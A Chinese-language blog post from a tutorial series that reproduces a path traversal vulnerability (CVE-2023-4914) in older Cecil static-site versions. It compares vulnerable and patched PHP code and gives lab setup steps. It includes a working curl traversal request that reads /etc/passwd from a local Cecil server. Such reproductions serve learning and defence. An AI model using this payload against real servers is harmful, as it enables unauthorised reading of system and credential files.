前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【网络安全】「漏洞复现」(三)建议升级!旧版 Cecil 存在路径遍历漏洞!

【网络安全】「漏洞复现」(三)建议升级!旧版 Cecil 存在路径遍历漏洞!

原创
作者头像
sidiot
发布2023-09-18 21:49:51
1970
发布2023-09-18 21:49:51
举报
文章被收录于专栏:技术大杂烩技术大杂烩

前言

本篇博文是《从0到1学习安全测试》中漏洞复现系列的第篇博文,主要内容是通过修复方案来分析 Cecil 存在跨目录任意读取文件漏洞的原因,并对此进行复现,往期系列文章请访问博主的 安全测试 专栏;

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

结果展示

由于 Cecil 没有对 URL 进行校验,导致攻击者可以通过遍历目录来读取服务器上的任意内容,比如读取密码:

漏洞详情

漏洞的 CVE 编号为 CVE-2023-4914,适用于 Cecil 版本 <= 7.47.0。

Cecil 是一个由 PHP 提供支持的命令行界面应用程序,它将 Markdown 文件、图像和 Twig 模板合并在一起,以生成静态网站。适用于个人博客、文档网站、项目页面等各种场景。

当 Cecil 站点由 cecil serve 提供服务时,未经身份验证的远程攻击者可以读取主机文件系统上的任何文件,甚至执行系统命令。

我们可以从提交修复的 Git 入手分析:


代码语言:php
复制
$path = urldecode(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH));

上述代码将解析 $_SERVER['REQUEST_URI'] 中的 URL,并对 URL 中的编码部分进行解码,然后将解码后的路径赋值给变量 $path

而修复后的代码除了执行上述代码的功能外,还使用 htmlspecialchars 函数对路径进行 HTML 实体编码,将特殊字符转换为其对应的 HTML 实体,以防止潜在的 XSS 攻击。

代码语言:php
复制
$path = htmlspecialchars(urldecode(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH)));

简而言之,第二句代码相对于第一句代码,增加了对路径中特殊字符的转义处理。


代码语言:php
复制
if (!file_exists($filename) || is_dir($filename)) {

上述代码检查给定的 $filename 文件是否存在或是否为目录,如果文件不存在或者是一个目录,条件表达式返回 true,则执行相应的代码块。

而修复后的代码相比第一句增加了更复杂的条件判断:

代码语言:php
复制
if ((realpath($filename) === false || strpos(realpath($filename), realpath($_SERVER['DOCUMENT_ROOT'])) !== 0) || !file_exists($filename) || is_dir($filename)) {
  • realpath($filename) === false:检查给定的 $filename 是否可以解析为有效的绝对路径。
  • strpos(realpath($filename), realpath($_SERVER['DOCUMENT_ROOT'])) !== 0:检查给定的 $filename 是否位于 $_SERVER['DOCUMENT_ROOT'] 的子路径中。

相较而言,第二句代码通过更加严格的路径校验来确保不会被跨目录任意文件读取。

环境准备

进入 Cecil 官网,通过指令 curl -LO https://cecil.app/cecil.phar 进行下载 :

不过,Cecil 通过 curl 下载可能需要魔法,不然会出现如下报错,就是因为下载速度不够快:

同时需要注意的是,Cecil 需要有 PHP7.4+ 环境的支持,因此读者在运行 Cecil 前,需要检查一下自己的环境:

安装教程的话,博主亲测了 CentOS7Ubuntu 20.04 系统的,可以直接通过链接跳转至教程。

漏洞复现

1、通过下载指令,将 cecil.phar 下载到本地:

代码语言:txt
复制
curl -LO https://cecil.app/download/7.0.0/cecil.phar

2、赋予 cecil.phar 权限:

代码语言:txt
复制
chmod +x cecil.phar

3、运行 cecil:

代码语言:txt
复制
./cecil.phar new:site -n
./cecil.phar serve

4、另起一个客户端窗口,输入以下指令,即可读取到本地的密码:

代码语言:txt
复制
curl --path-as-is http://localhost:8000/../../../../../../../../etc/passwd

5、需要注意的是,有的读者在运行 ./cecil.phar serve 时可能会出现如下报错:

代码语言:php
复制
[ERROR] The Symfony\Component\Intl\Locale\Locale::setDefault() is not implemented. Please install the "intl" extension for full localization capabilities.

解决方案可以参考这篇文章:How to solve the issue - please install the "intl" extension for full localization capabilities,博主是通过下述这个回答解决问题的:

后记

本文复现了旧版 Cecil 存在的路径遍历漏洞,通过本案例提醒各位读者,赶紧升级或者对外关闭旧版 Cecil,同时提高自身的安全意识,在自己编写代码时,一定要对文件读取的路径进行校验,以防跨目录的任意文件读取漏洞!

以上就是博文 建议升级!旧版 Cecil 存在路径遍历漏洞! 的所有内容了,希望对大家有所帮助!

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

? 上篇精讲:(二)使用 Typora 的程序员注意了!不要再复制粘贴了! ? 我是 ??????,期待你的关注,创作不易,请多多支持; ? 公众号:sidiot的技术驿站; ? 系列专栏:安全测试工具和技术:从漏洞扫描到渗透测试

我正在参与2023腾讯技术创作特训营第二期有奖征文,瓜分万元奖池和键盘手表

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 结果展示
  • 漏洞详情
  • 环境准备
  • 漏洞复现
  • 后记
相关产品与服务
手游安全测试
手游安全测试(Security Radar,SR)为企业提供私密的安全测试服务,通过主动挖掘游戏业务安全漏洞(如钻石盗刷、服务器宕机、无敌秒杀等40多种漏洞),提前暴露游戏潜在安全风险,提供解决方案及时修复,最大程度降低事后外挂危害与外挂打击成本。该服务为腾讯游戏开放的手游安全漏洞挖掘技术,杜绝游戏外挂损失。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com